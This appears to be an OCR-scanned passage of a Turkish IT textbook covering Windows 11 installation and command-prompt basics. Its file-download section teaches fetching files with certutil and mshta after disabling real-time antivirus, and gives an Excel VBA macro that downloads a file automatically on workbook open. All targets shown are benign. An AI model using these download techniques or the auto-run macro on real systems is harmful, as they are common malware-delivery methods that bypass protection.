|¢c-3zr SUricd 0 Bolom 3 516 GB 516GB Binncil
+4 Yepile Sil & Bigimlendir Yeni

L &) Striici yiikle a Grn-;irt

sonraki ]

Gorsel 4.139: Sirtict boéliminin segimi
13. Adim: isletim sistemine ait dosyalarin yiiklenmesini bekleyiniz.

14. Adim: Yiikleme tamamlaninca bilgisayar yeniden baslayacaktir. isletim sistemini yiiklemek icin
kullandiginiz USB bellegi ¢ikariniz (Gorsel 4.140).

SxT

ﬂ Windows Kurulumu

Windows yilkleniyor

Durum

of Windows dosyalan kopyalaniyaor
Daosyalar kurulum igin haziflanyor (%:0)
Ozellikler yakleniyor
Gancellegtinmeler yikleniyor

Tamamlanryor

Gérsel 4.140: isletim sisteminin yiikleme
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15. Adim: Ulke/bélge secimi yaparak devam ediniz.

16. Adim: Klavye dlizeni se¢imi yaparak devam ediniz (Daha sonra isterseniz ikinci bir klavye diizeni de
ekleyebilirsiniz.).

17. Adim: Bilgisayara isim veriniz (Gorsel 4.141).

Bilgisayarinizi adlandiralim

Diger cihazlardan baglanirken kolayca
taniyabileceginiz benzersiz bir ad vererek onu
ozellestirin. Ad verdikten sonra bilgisayariniz
yeniden baslatilacak.

k:ihazmm adlandinn

Yalnizca sayilardan olusamaz

15 karakterden uzun olamaz

Kisa gizgi ( - ), kisa gizgi (— ve =) ve alt gizgi ( _)
disinda bosluk veya ozel karakter yok

Simdilik atla

Gorsel 4.141.: Bilgisayara isim verme

18. Adim: Bilgisayarin kullanimina yonelik ayarlamalari yapiniz.

19. Adim: Daha 6nceden olusturdugunuz bir hesabiniz varsa bu hesap bilgilerini girerek oturum
acabilirsiniz. Hesabiniz yoksa Bir tane olustur! secenegine tiklayarak devam ediniz.

20. Adim: Hesabi ve parolayi olusturunuz. Ad, soyad, Ulke, dogum tarihi ve ikincil e-posta bilgilerinizi
giriniz.

21. Adim: Hizli ve glivenli oturum agma imkani sunan PIN’i olusturunuz.

22. Adim: Gizlilik ayarlarini seginiz.

23. Adim: istege bagh uygun 6zellestirmelerini yaparak kurulumu tamamlayiniz.

24. Adim: Masalistiinin yiklenmesini bekleyiniz (Gorsel 4.142).

-iil.kcbulut!u - Q Ara @ [ Q —ﬂ e i @ , A Qe 141)&11;:;;:
Gorsel 4.142: Windows 11 masaisti

4.1.8. Windows isletim Sistemi DOS Komut Satiri islemleri

Windows isletim sisteminde komut satiri, MS-DOS tabanli bir konsol ekranidir. Windows komut satiri,
komut istemi olarak da adlandirilir. Komut istemini kullanabilmek igcin cmd.exe yazilimi ¢alistirilmahdir.
CMD.exe yazilimini ¢alistirmak icin Windows ve R tus kombinasyonu ile agilan Calistir penceresinde
cmd yazilir (Gorsel 4.143). Enter tusuna basilir.
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Calistir penceresinde komut istemini yonetici olarak ¢alistirmak icin Ctrl, Shift ve Enter (o
tus kombinasyonu kullaniimalidir. ;\O‘
= Caligtir X

Bir program, klasdr, belge veya Internet kaynaginin adini
yazdiginizda Windows sizin igin acacaktir.

Ac: cmd

Tamam iptal Gozat...

Gorsel 4.143: Komut istemini calishirma
Windows komut satiri (istemi) calistirildiginda Goérsel 4.144’deki pencere ekrana gelir.

Microsoft Windows [Version 18.6.22621.1702]
(c) Microsoft Corporation. Tim haklari saklidir.

C:\Windows\System32>

Gorsel 4.144: Yonetici olarak calistirilan komut istemi

Windows isletim sistemi komut satiri yapisi ile ilgili drnekler Tablo 4.16’da verilmistir.

Tablo 4.16: Windows Komut Yapisiyla ilgili Ornekler

Mevcut Konum Komut Parametre Argiiman
C:\ > | dir /a Windows
C:\Users\lise\Masalist > |rd /s /q Dersler
C:\Users\lise\Masatistii\Ogrenciler > |sort /r isimler.txt
&
Bazi komutlar, ek parametrelere veya arglimanlara ihtiya¢ duyulmadan da kullanilabilir. o’_‘
0

4.1.8.1. Yardim Komutlari

Yardim komutlari, diger komutlarin kullanimi hakkinda bilgi verir. Bilgi alma komutlari ise bilgisayar
adi, kullanici adi, tarih, saat gibi bilgilere erisim saglar. Yardim komutlari, komutlarin kullanimi ve
acitklamalari Tablo 4.17’de verilmistir.

Tablo 4.17: Windows Yardim Komutlari

Komut Komutun Genel Kullanimi Aciklama

Windows komut satirinda kullanilan komutlar

help hakkinda 6zet bilgiler verir.

hel
P Belirtilen komutun kullanimi hakkinda detayl

help [komut adi] bilgiler verir.
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G
Bazi komutlar (6rnegin whoami, hostname gibi) hakkinda bilgi almak icin /? kullanilr. o?‘
Bilgi alma komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.18’de verilmistir.
Tablo 4.18: Windows Bilgi Alma Komutlari
Komut Komutun Genel Kullanimi Aciklama
whoami whoam! Mevcut etki alanini ve kullanici adini géruntiler.
whoami /user
hostname | hostname Bilgisayar adini gorintdler.
. . Sistemin saatini 0grenmek ve degistirmek igin
time time
kullanihr.
R - Sistemin tarihini 6grenmek ve degistirmek icin
kullanihr.
24. UYGULAMA Yardim ve bilgi alma komutlarinin kullanimini asagidaki adimlar

dogrultusunda gergeklestiriniz.

1. Adim: Komut satiri penceresini aginiz.

2. Adim: Komut satirinda kullanilan komutlar hakkinda 6zet bilgiler edinmek icin help yazip, Enter tu-
suna basarak ekrana gelen sayfada yer alan komutlari ve 6zet agiklamalarini inceleyiniz (Goérsel 4.145).

Microsoft Windows [Version 10.0.22621.1702]

(c) Microsoft Corporation. Tum haklari saklidir. |
C:\Windows\System32>help

For more information on a specific command, type HELP command-name

ASSOC Displays or modifies file extension associations.

ATTRIB Displays or changes file attributes.

BREAK Sets or clears extended CTRL+C checking.

BCDEDIT Sets properties in boot database to control boot loading.

CACLS Displays or modifies access control lists (ACLs) of files.

CALL Calls one batch program from another.

CD Displays the name of or changes the current directory.

CHCP Displays or sets the active code page number.

CHDIR Displays the name of or changes the current directory.

CHKDSK Checks a disk and displays a status report.

CHKNTFS Displays or modifies the checking of disk at boot time.

CLS Clears the screen.

CMD Starts a new instance of the Windows command interpreter.

COLOR Sets the default console foreground and background colors.

COMP Compares the contents of two files or sets of files.

COMPACT Displays or alters the compression of files on NTFS partitions.

Gorsel 4.145: help komutunun kullanimi

3. Adim: Komut satirina help type yazarak type komutunun kullanimi hakkinda bilgi aliniz (Gorsel 4.146).

C:\Windows\System32>help type |
Displays the contents of a text file or files.

TYPE [drive:][path]filename

Gorsel 4.146: type komutunun kullanimi hakkinda bilgi alma
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4. Adim: Komut satirina help copy yazarak copy komutunun kullanimi hakkinda bilgi aliniz (Gorsel
4.147).

C:\Windows\System32>help copy i
Copies one or more files to another location.

copy [/D] [/v] [/N] [/¥ | /-¥1 [/Z] [/L] [/A | /B ] source [/A | /B]
[+ source [/A | /B] [+ ...]1] [destination [/A | /B]]

source Specifies the file or files to be copied.

JA Indicates an ASCII text file.

/B Indicates a binary file.

/D Allow the destination file to be created decrypted

destination Specifies the directory and/or filename for the new file(s).

A"l Verifies that new files are written correctly.

/N Uses short filename, if available, when copying a file with a
non-8dot3 name.

/Y Suppresses prompting to confirm you want to overwrite an
existing destination file.

=Y Causes prompting to confirm you want to overwrite an
existing destination file.

fZ Copies networked files in restartable mode.

/L If the source is a symbolic link, copy the link to the target

instead of the actual file the source link points to.

The switch /Y may be preset in the COPYCMD environment variable.
This may be overridden with /-¥ on the command line. Default is
to prompt on overwrites unless COPY command is being executed from
within a batch script.

Gorsel 4.147: copy komutunun kullanimi hakkinda bilgi alma

5. Adim: Komut satirina whoami yazarak mevcut alan adi ve kullanici kimligini gorintileyiniz (Gorsel
4.148).

C:\Windows\System32>whoami i
lise\lise_

Gorsel 4.148: whoami komutunun kullanimi

6. Adim: Komut satirina hostname yazarak bilgisayar adini gériintileyiniz (Gorsel 4.149).

C:\Windows\System32>hostname [
lise

Gorsel 4.149: hostname komutunun kullanimi

7. Adim: Komut satirinda date ve time komutlarini uygulayiniz (Goérsel 4.150).

C:\>date
The current date is: Pzt 14.68.2023 &
Enter the new date: (dd-mm-yy)

C:\>time
The current time is: 18:58:2@,39
Enter the new time:

Gorsel 4.150: date ve time komutlarinin kullanimi

SIRA
m. Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

e Komut satiri penceresini aginiz.
e cls komutunun kullanimi hakkinda bilgi almak igin help komutunu kullaniniz.
e Komut satirina help rmdir yaziniz. Komut ile kullanilan parametreleri inceleyiniz.

e Windows komutlari hakkinda daha detayl bilgiler almak icin learn.microsoft.com web sitesini
ziyaret ediniz.

e Mevcut alan adi ve kullanici adi bilgisini gosteren komutu yaziniz.
e Sisteminizin saatini degistirmek icin time komutunu kullaniniz.



ISLETIM SISTEMLERI

]
4.1.8.2. Dosya ve Klasor Yonetimi Komutlari

Dosya ve klasoér yonetimi komutlari ile gegerli klasori degistirme, dosya ve klasér olusturma, metin
dosyasi icerigini gorintileme, klasor igerigini listeleme, kopyalama, silme, tasima, yeniden adlandirma
gibi islemler gercgeklestirilir. Dosya ve klasér yonetimi komutlari, komutlarin kullanimi ve agiklamalari
Tablo 4.19'da verilmistir.

Tablo 4.19: Windows Dosya ve Dizin Yonetimi Komutlari

Komut Komutun Genel Kullanimi Aciklama
cd icinde bulunulan klasériin konumunu verir.
od Gegerli klasori degistirmek icin kullanihr.
cd [klasor adi] cd .. :Bir Ust klasore gegcmeyi saglar.
cd/ :C:\ kok klasériine gegmeyi saglar.
. dir . . . e
dir dir [Klasor adi] Bir klasordeki dosya ve alt klasor listesini goriintler.
tree
tree tree /f Klasorlerin icerigini agac yapisi seklinde gosterir.

tree [klasor adi]

Klasor olusturmak icin kullanilr.
Olusturulacak klasor adinda bosluk karakteri varsa “klasér adi”
seklinde kullaniimalidir.

md md [klasor adi] Ornek: md “Yeni Klasor” Tek komut satiri ile birden fazla klasér

mkdir mkdir [klasor adi] olusturulabilir.
Ornek: md klasérl klasér2 klasér3
Tek komut satirn ile i¢ ice klasorler olusturulabilir.
Ornek: md Dersler\Sistem\Uygulamalar

rd [klasor adi] . .
rd il [Pt el Bos klasorleri silmek icin kullantlir.
i rd [parametre] [klasor adi]

rmdir [parametre] [Klasor adi] Dolu klasorleri silmek icin /s parametresi kullaniimalidir.

Bir veya daha fazla dosyayi silmek icin kullanilr.

Bir klasor icindeki tim dosyalar sadece klasor adi belirtilerek
del del [dosya adi].[dosya uzantisi] | silinebilir. Dosyalari silerken onay istememesi icin /q parametresi
kullanilmalidir.

Ornek: del /q Klasér (Klasér silinmez.)

type [dosya adi].[dosya uzantsi] ?lr .rrletm dosyasinin icerigini gorintilemek icin kullanilir. Dosya
type icerigi konsol ekranina yazdirilir.

type nul > [dosya adi].txt Bos metin dosyasi olusturmak icin kullanihr.

Konsol ekraninda metin belgesi olusturmak igin kullanilir. Komuttan
copy con [dosya adi].txt sonra kaydedilecek dosyanin adi yazilir. Metin tamamlandiginda
Ctrl ve Z tus kombinasyonu ile metin dosyasi kaydedilir.

copy
con

Bir veya daha fazla dosyayi kopyalamak icin kullanilr.

Bir klasor icindeki tim dosyalar sadece klasor adi belirtilerek
kopyalanabilir.

Ornek: copy Ogrenciler Mezun (Klasér kopyalanmaz.)

copy copy [kaynak] [hedef]

move move [kaynak] [hedef] . Dosya ve klasorleri tagimak, yeniden adlandirmak igin kullanilir.
move [mevcut ad] [yeni ad]

ren ren [mevcut ad] [yeni ad]

renee imevart &) e adl Dosya ve klasorleri yeniden adlandirmak igin kullanihr.

rename
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Dosya Ozniteliklerini goruntllemek ve degistirmek igin kullanilr.
Dosyaya, gizli dosya 6zelligi vermek igin kullanilir.
Ornek: attrib +h énemli.txt

attrib [dosya adi]
attrib [parametre] [dosya adi]

Salt okunur, gizli, arsiv ve sistem dosya 6zniteliklerinin Windows komut satirindaki
kullanimi hakkinda arastirma yapiniz. Arastirma sonuglarinizi arkadaslarinizla
paylasiniz.

25. UYGULAMA Dosya ve klasor yonetimi komutlarinin kullanimini agsagidaki adimlar

dogrultusunda gerceklestiriniz.

1. Adim: Komut satiri penceresini yonetici olarak galistiriniz.
2. Adim: Masadsti klasériine geginiz.
3. Adim: Masadustilinde Dersler, Ogrenciler ve Proje Kayitlari klasorlerini olusturunuz.

4. Adim: Masadstlinde Sinavlar klasoriini, Sinavlar klasorl icinde Sistem klasoriind, Sistem klasori
icinde ise Uygulama klasoriini olusturunuz (Bu adimi tek komut satiri ile gerceklestiriniz.).

5. Adim: Ogrenciler klasériine geciniz (Gorsel 4.151).

ER Administrator: C \Windows\systern32hemd.exe = O X

Microsoft Windows [Version 18.0.22621.1702]
(c) Microsoft Corporation. Tum haklari saklidar. |

C:\Windows\System32>cd C:\Users\lise \OneDrive\Masalsti
C:\Users\lise \OneDrive\Masailistii>md Dersler Ogrenciler "Proje Kayitlari™
C:\Users\lise_\OneDrive\Masalistii>mkdir Sinavlar\Sistem\Uygulama

C:\Users\lise \OneDrive\Masaiistii>cd Ogrenciler

Gorsel 4.151: cd, md ve mkdir komutlarinin 6rnek kullanimi

6. Adim: Komut satirinda copy con komutunu kullanarak isimler.txt isimli metin dosyasi olusturunuz
(Gorsel 4.152).

C:\Users\lise_\OneDrive\Masaisti\Ogrenciler>copy con isimler.txt

7. Adim: Bir Ust klas6re geciniz (Masaustl klasériinde et

Sabri

& H Erdem
oldugunuzdan emin olunuz.). oo
Hakan

Kerem
8. Adim: Komut satirinda type nul > bosdosya.txt |..

IAhme t
yazarak bos dosya olusturunuz. ceda
Zeynep
Burak™Z

9. Adim: Komut satirinda type bosdosya.txt yazarak 1 file(s) copied.
dosya igerigini konsola yazdiriniz (Dosya icerigi bos
oldugundan konsola bir sey yazilmayacaktr.).

Gorsel 4.152: copy con komutu ile metin dosya-
si olusturma
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10. Adim: Komut satirinda copy bosdosya.txt “Proje  [c:\users\lise \onebrive\nasaiistinogrencilersed ..

Kayitlar’” vyazarak bosdosya.txt dosyasini

Kayltlal’l klasorune kopya|ay|n|z C:\Users\lise_ \OneDrive\Masalistii>type bosdosya.txt

11. Adim: Komut satirinda move bosdosya.txt
yenidosya.txt vyazarak, bosdosya.txt
yenidosya.txt olarak yeniden adlandiriniz.

12. Adim: Komut satirinda move yenidosya.txt
“Proje Kayitlar1”” yazarak yenidosya.txt dosyasini

Proje IC:\Users\lise_\OneDrive\Masailistii>type nul > bosdosya.txt

C:\Users\lise_\OneDrive\Masaiistii>copy bosdosya.txt "Proje Kayitlara"
1 file(s) copied.

dOSyasml C:\Users\lise_\OneDrive\Masaiistu>move bosdosya.txt yenidosya.txt
1 file(s) moved.

IC:\Users\lise \OneDrive\Masaiistii>move yenidosya.txt "Proje Kayitlari"
1 file(s) moved.

C:\Users\lise_\OneDrive\Masalistii>ren "Proje Kayitlari" Projeler

Proje Kayitlari klasoriine tasiyiniz.

13. Adim: Komut satirinda ren “Proje Kayitlar”
Projeler yazarak, Proje Kayitlari klasérini Projeler
olarak yeniden adlandiriniz (Goérsel 4.153).

14. Adim: Komut satirinda cd Projeler yazarak Projeler
klasorline geginiz.

15. Adim: Komut satirinda dir yazarak Projeler klasori
icerigini goruntileyiniz (Gorsel 4.154).

16. Adim: Komut satirinda del
bosdosya.txt dosyasini siliniz.

bosdosya.txt yazarak

17. Adim: Komut satirinda cd .. yazarak Ust klasore geginiz.

18. Adim: Komut satirinda cd .. yazarak Ust klasore geginiz.

Gorsel 4.153: cd, type, copy, move ve ren

komutlarinin érnek kullanimi

15.08.2023
15.08.2023
15.08.2023
15.08.2023

C:\Users\lise_\OneDrive\Masaiistii>cd Projeler

C:\Users\lise_\OneDrive\Masalistii\Projeler>dir
Volume in drive C has no label.
Volume Serial Number is 7820-C8FE

Directory of C:\Users\lise_\OneDrive\Masaiistii\Projeler

00:30
00:30
00:24
00:24

<DIR>
<DIR> oo
@ bosdosya.txt
@ yenidosya.txt
2 File(s) @ bytes
2 Dir(s) 37.581.217.792 bytes free

Gorsel 4.154: dir komutu ile klasor igerigini

listeleme

19. Adim: Komut satirinda tree /f Masalistli yazarak Masausti klasérini soy agaci seklinde

gorintileyiniz (Gorsel 4.155).

C:\Users\lise_\OneDrive\Masalistii>cd ..

Folder PATH listing

Volume serial number is 7820-CS8FE
C:\USERS\LISE_\ONEDRIVE\MASAUSTU
isim listesi.txt

Resim.png

——Dersler
——Ogrenciler
isimler.txt

Projeler
yenidosya.txt

Sinavlar
L sSistem
l—Uygulama

C:\Users\lise_\OneDrive>tree /f Masalsti

C:\Users\lise \OneDrive\Masalisti\Projeler>del bosdosya.txt

C:\Users\lise_\OneDrive\Masaiistii\Projeler>cd ..

Gorsel 4.155: del ve tree komutlarinin 6rnek kullanimi
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SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

Dosya islemleriile ilgili 6zel komutlar, komutlarin kullanimi ve agiklamalari Tablo 4.20°de verilmistir.

Komut Komutun Genel Kullanimi Aciklama
echo [mesaj metni] Konsol ekranina mesaj yazdirmak igin kullanilir.
echo echo mesaj > [dosya adi].txt Onceden olusturulan veya yeni olusturulacak olan

Komut satiri penceresini yonetici olarak ¢alistiriniz.

Bulundugunuz klasorde Parolalar isimli bir klasor olugturunuz.

Parolalar klasoriine geginiz.

Parolalar klasoriinde tek komut satiri ile Mobil ve PC klasorlerini olusturunuz.
Mobil klasériine geginiz.

Mobil klasoéri icinde bir bos dosya olusturunuz.

Olusturdugunuz dosyaya gizli dosya 6zelligi veriniz.

Bir Ust klasore geginiz.

Komut satirina cls yazarak konsol ekranini temizleyiniz.

PC klasoriiniin adini Laptop olarak degistiriniz.

Komut satirina doskey /history yazarak komut satiri gecmisini gérintileyiniz.

Tablo 4.20: Windows Dosya islemleriyle ilgili Ozel Komutlar

echo mesaj >> [dosya adi].txt operatorleri ile kullanilir.

dosyalarin igine bilgi eklemek igin yonlendirme

Metin  dosyalarinin icerigini  goruntilemek
icin kullanilir. Dosya icerigi ekrana sigmayacak
kadar uzun oldugunda icerigin sayfalar halinde

more [dosya adi].[dosya uzantisi] gorintilenmesini saglar.
more
more < [dosya adi].[dosya uzantisi] Bir komutun ciktisi uzun oldugunda more komutu
ile sayfalar halinde gorintilenebilir.
Ornek: dir /a C:\Windows | more
fc fc [dosya adi].txt [dosya adi].txt Ikl . d(fsyayl 'k‘ar§|la§t|r|p aralarindaki  farki
goriintilemek icin kullantlir.
sort [dosya adi].txt Metin d?syas!. |gerlg|ndek| bilgiler alfabetik siral
olarak gérintulenir.
sort e (s el Metin dosyasi icerigindeki bilgiler alfabetik

siralamanin tam tersi sekilde gorintdlenir.

sort /unique [dosya adi].txt

Metin dosyasi igerigindeki tekrar eden bilgiler
cikarilarak, alfabetik sirali olarak gorintilenir.
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Belirtilen dosyalarin icinde arama yapmak igin

find [aranan] [dosya adi].txt kullanilir.

find
Bliylk ve kiglik harf duyarliligi olmadan arama

find /i [aranan] [dosya adi].txt
yapmak icin /i parametresi kullanilmalidir.

Daha karmasik metin orintileri (regex gibi)

findstr findstr [arama orintileri] [dosya).txt
kullanarak arama yapar.

MKLINK Windows komutunun kullanimi hakkinda arastirma yapiniz. Bu komut
ile ilgili uygulamalar gerceklestiriniz. Arastirma sonuclarini ve gergeklestirdiginiz
uygulamalari rapor haline getiriniz. Calismanizi arkadaslarinizla paylasiniz.

26. UYGULAMA Dosya ve klasor yonetimi komutlarinin kullanimini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Komut satiri penceresini yonetici olarak galistiriniz.
2. Adim: Masadustu dizinine geginiz.

3. Adim: Komut satirina notepad isim.txt yazip metin editoriinii aginiz ve metin editériinde isimler
ekleyerek isim.txt dosyasini olusturunuz (Gorsel 4.156).

C:\Users\lise_\OneDrive\Masalistli>notepad isim.txt

C:\Users\lise_ \OneDrive\Masalisti>

= isim * r

Dosya Dizenle Gorunim £3

Ali
Burak
Irmak
Ceyda
Kerem
Fatih
Arzu
Kerem
Hakan
Cevdet
Kemal
Mehmet
Zeynep
Serap

St 1, Sht 1 %100 Windows (CRLF) UTF-8

Gorsel 4.156: notepad kullanimi
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4. Adim: Komut satirina more isim.txt yazarak dosya icerigini konsola yazdiriniz (Gérsel 4.157).

Ali
Burak
Irmak
Ceyda
Kerem
Fatih
Arzu
Kerem
Hakan
Cevdet
Kemal
Mehmet
Zeynep
Serap

C:\Users\lise \OneDrive\Masalsti>more isim.txt

Gorsel 4.157: more komutunun kullanimi

5. Adim: Komut satirina copy isim.txt ad.txt yazarak dosyayi farkli bir isimle kopyalayiniz ve Notepad
metin editori ile ad.txt dosyasi Gizerinde isim degisikliklerini uygulayiniz (Gorsel 4.158).

C:\Users\lise \OneDrive\Masalistii>copy isim.txt ad.txt

1 file(s) copied.

C:\Users\lise_\OneDrive\Masalistii>notepad ad.txt

Dosya Diizenle Gorinam

Cevdet
Kemal
Mehmet
Zeynep
Serap

St1, Stt1

%100 Windows (CRLF)

UTF-8

Gorsel 4.158: ad.txt dosya iceriginin degistirilmesi
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6. Adim: Komut satirina fc isim.txt ad.txt yazarak, iki dosyayi karsilastirip farklari gérintileyiniz (Gorsel
4.159).

:\Users\lise_\OneDrive\Masaiistli>fc isim.txt ad.txt
omparing files isim.txt and AD.TXT
el R oy

1534

urak

x¥x% AD.TXT

rda

urak

L2t 2

FELE I dSIm TN

erem

akan

evdet

**%% AD. TXT

erem

ude

evdet
*EkE

Gorsel 4.159: fc komutunun kullanimi

7. Adim: Komut satirina sort isim.txt yaziniz ve ekran ciktisinin alfabetik siralandigini dogrulayiniz
(Gorsel 4.160).

C:\Users\lise_\OneDrive\Masaistii>sort isim.txt
Ali
Arzu
Burak
Cevdet
Ceyda
Fatih
Hakan
Irmak
Kemal
Kerem
Kerem
Mehmet
Serap
Zeynep

Gorsel 4.160: sort komutunun kullanimi

8. Adim: Komut satirina sort /r isim.txt yaziniz (Gorsel 4.161).

C:\Users\lise \OneDrive\Masaiistii>sort /r isim.txt
Zeynep
Serap
Mehmet
Kerem
Kerem
Kemal
Lrmak
Hakan
Fatih
Ceyda
Cevdet
Burak
Arzu
Ali

Gorsel 4.161: sort /r komutunun kullanimi

9. Adim: Komut satirina echo Siber diinyaya hos geldin! yaziniz (Gorsel 4.162).

C:\Users\lise_ \OneDrive\Masaiistii>echo Siber diinyaya hos geldin!
Siber diinyaya hos geldin!

Gorsel 4.162: echo komutunun kullanimi
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10. Adim: Komut satirina findstr “[aiou]” ad.txt yaziniz.

[ ] (koseli ayrag) arasinda belirtilen karakterlerden herhangi birini bulunduran tiim =
isimler konsola yazdirilir. o’

11. Adim: Komut satirina findstr “et\>” ad.txt yazarak et ile biten isimleri konsola yazdiriniz (Gérsel
4.163).

C:\Users\lise_ \OneDrive\Masalistii>findstr "[aiou]" ad.txt
Arda

Burak

Irmak

Ceyda

Fatih

Arzu

Sude

Kemal

Serap

C:\Users\lise_\OneDrive\Masalstii>findstr "et\>" ad.txt
Cevdet
Mehmet

Gorsel 4.163: findstr komutunun kullanimi

12. Adim: Komut satirina find /i “kerem” ad.txt yazarak, biyuk kicik harf duyarliligi olmadan dosya
icinde arama gerceklestiriniz (Gorsel 4.164).

C:\Users\lise_\OneDrive\Masalistu>find /i "kerem" ad.txt

Gorsel 4.164: find komutunun kullanimi

SIRA

am Asagida maddeler halinde verilen islemleri cihazinizda gerceklestiriniz.

Komut satiri penceresini yonetici olarak ¢alistiriniz.

Bulundugunuz klasérde Hafta isimli bir klasér olusturunuz.

Hafta klasériine geginiz.

Komut satirina echo Pazartesi > giinler.txt yaziniz.

Komut satirina echo Sali >> giinler.txt yaziniz.

Komut satirina echo Carsamba >> giinler.txt yaziniz.

Komut satirina more giinler.txt yazip ekran ¢iktisini inceleyiniz.

Komut satirina echo Persembe > giinler.txt yaziniz.

Komut satirina more giinler.txt yazip ekran giktisindaki degisimi gézlemleyiniz.
Komut satirina echo Cuma >> giinler.txt yaziniz.

Komut satirina find “persembe” giinler.txt yaziniz (Daha sonra /i parametresi ile tekrar deneyi-

niz.).
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4.1.8.3. Dosya indirme Komutlari

Dosya indirme komutlari ile konsol Gzerinden dosya indirme islemleri gergeklestirilir. Dosya indirme
komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.21’de verilmistir.

Tablo 4.21: Windows Dosya indirme Komutlari

Komut Komutun Genel Kullanimi Agiklama

Sertifika hizmetleriile ilgiliislemlerde kullantlir.

il. il. linki - T
certutil.exe | certutil.exe [parametre] [dosya linki] Dosya indirme 6zelligi de bulunur.

HTML Application aracidir. Dosya igeriklerinin

IEE uBE) ST I alinmasi icin kullanilabilir.

27. UYGULAMA Dosya indirme islemleri ile ilgili komutlarin kullanimini asagidaki
adimlar dogrultusunda gergeklestiriniz.

1. Adim: Windows guvenllél virts ve tehdit C:\Users\lise ‘\OneDrive\Masaiistii>certutil.exe -URLcache -split -f
korumasi ayarlarlndan gergek zamanli *E:Epssﬁi?::legiwayatim.meb.gov.trfassetsfimagesflogo.png

korumayi kapatiniz. 000000
©11b5c

L . . |certUtil: -URLCach d leted fully.
2. Adim: Komut satiri penceresini yénetici | 0 o€ command compieted successTutly
olarak (;all§t1r|n|z. C:\Users\lise \OneDrive\Masalisti>dir

Volume in drive C has no label.
Volume Serial Number is 7820-CS8FE

3. Adim: Hedef adresteki logo.png dosyasini
certutil aract ile indiriniz (Hedef Adres: Directory of C:\Users\lise_\OneDrive\Masaiisti

https://meslegimhayatim.meb.gov.tr/assets/ [15.e8.2023 17:e1  <DpIR>
14.98.2023 14:82 <DIR>

images/logo.png). 15.08.2023 14:22 100 ad. txt
. 15.88.2023 16:04 11 gun.txt
4. Adim: Komut satirina dir yazarak logo. |[15.e8.2023 es:15 18.395 Gorsel 4.168.png
. . ep grwe . 15.988.2023 14:22 54.949 Gorsel 4.169.png
png dosyasinin indirildiginden emin olunuz |is.es.2023 es:e6 106 oie ixk
s 15.08.2023 17:01 72.548 10g0.pNg e—
(GOI"SG' 4165) 15.88.2023 14:19 <DIR> mayis
. 6 File(s) 146.095 bytes
5. Adim: Hedef adresteki (Hedef Adres: 3 Dir(s) 37.601.234.944 bytes free

https://www.ietf.org/rfc/rfc793.txt)
rfc793.txt dosyasi icerigini mshta araci ile
inceleyiniz(Gorsel 4.176).

Gorsel 4.165: certutil aracinin kullanimi

C:\Users\lise_\OneDrive\Masaiistii>mshta "https://www.ietf.org/rfc/rfc793.txt"

C:\Users\lise_\OneDrive\Masaiistii>

B https://www.ietf.org/rfc/rfc793.txt = o %

RFC: 793
TRANSMISSION CONTROL PROTOCOL

DARPA INTERNET PROGRAM
PROTOCOL SPECIFICATION

September 1981
prepared for
Defense Advanced Research Projects Agency
Information Processing Techniques Office
1400 Wilson Boulevard
Arlington, Virginia 22209 v

Gorsel 4.166: mshta aracinin kullanimi
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28. UYGULAMA Dosya indirme islemi icin makro kullanimini asagidaki adimlar
dogrultusunda gergeklestiriniz.

1. Adim: Windows glvenligi virls ve tehdit korumasi ayarlarindan gergek zamanli korumayi kapatiniz.

2. Adim: Excel ¢alisma kitabi olusturunuz ve Dosya > Se¢enekler > Seridi Ozellestir adimini izleyerek
Gelistirici sekmesini ekleyiniz.

3. Adim: Gelistirici sekmesinde Visual Basic secenegine tiklayiniz (Gorsel 4.167).

Dosya Girig Ekle Sayfa Dizeni Formdller Veri Gozden Gegir Girlnlm Geligtirici Yardim Q Ne yapmak istediginizi séyleyin

p— *" Makro Kaydet . {:? : ﬁ.' = Ozellikler sr— 7 Igeri Aktar
- = [¥. Géreli Basvurulan Kullan : ol =, 5 Kod Gbriintile +| Genisletme Paketleri
Visual| Makrolar Eklentiler  Excel oM Ekle 3 Kaynak
1. Makro Glvenligi Eklentileri Eklentileri . i lletisim Kutusunu Caligtir
Kod Eklentiler Denetimler XML

Gorsel 4.167: Gelistirici sekmesi

4. Adim: Gelistirici ekraninin Project kisminda BuCalismaKitabi nesnesine tiklayip, agilan ekranda
Visual Basic makro kodunuzu yazarak hedef konumu kendi bilgisayariniza gore diizenleyiniz ve Kaydet
butonuna tiklayarak, dosyayl Makro.xlsm olarak kaydediniz (Gorsel 4.168).

icrosoft Visual Basic for Applications - Makro.xlsm - [BuCalismakitabi (Code)]
:qfdfile Edit View [nsert Format Debug BRun Jools Add-Ins Window Help
EE~- i e KT O .

‘ ject || Workbook Open
Project - VBAPIo)j X| wo pe
oEE Private Declare PtrSafe Functior Jown 1 ToFile Lib " h'

ﬁ\mlejm {Makro.xlsm)
25 Microsoft Excel Objects
£ | BuCaksmakitabi 1

W) Sayfal (Sayfal)

Gorsel 4.168: Makro kodu olusturma

Makro kodu soyledir:

Private Declare PtrSafe Function URLDownloadToFile Lib “urlmon” _
Alias “URLDownloadToFileA” (ByVal pCaller As Long, ByVal szURL As String, _
ByVal szFileName As String, ByVal dwReserved As Long, ByVal IpfnCB As Long) As Long
Sub Workbook_Open()
kaynak_link = “https://meslegimhayatim.meb.gov.tr/assets/images/logo.png”
hedef_konum = “C:\Users\[kullanici adi]\Desktop\”
indir = URLDownloadToFile(0, kaynak_link, hedef_konum & “dosya.png”, 0, 0)
End Sub
5. Adim: Gelistirici sekmesinde Makro Giivenligi secenegine tiklayiniz ve makro ayarlarindan Tiim
makrolan etkinlestir secenegini seciniz.
6. Adim: Dosyay! kapatiniz. Herhangi bir degisiklik gerceklestirdiyseniz tekrar kaydetmeniz gerekebilir.

7. Adim: Makro iceren dosyayi acarak masaistiinde dosya.png dosyasinin olustugunu gozlemleyiniz.
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4.1.8.4. Kullanici ve Grup Yonetimi Komutlari

Kullanici ve grup yonetimi komutlariyla kullanici olusturma ve silme, gruplari gérintileme, gruba
kullanici ekleme, gruptan kullanici ¢ikarma gibi islemler gerceklestirilir. Kullanici ve grup yonetimi
komutlari, komutlarin kullanimi ve agiklamalari Tablo 4.22'de verilmistir.

Tablo 4.22: Windows Kullanici ve Grup Yonetimi Komutlari

Komut Komutun Genel Kullanimi Agiklama

Sistemde tanimli olan kullanicilari géstermek
net users | net users

icin kullantlir.
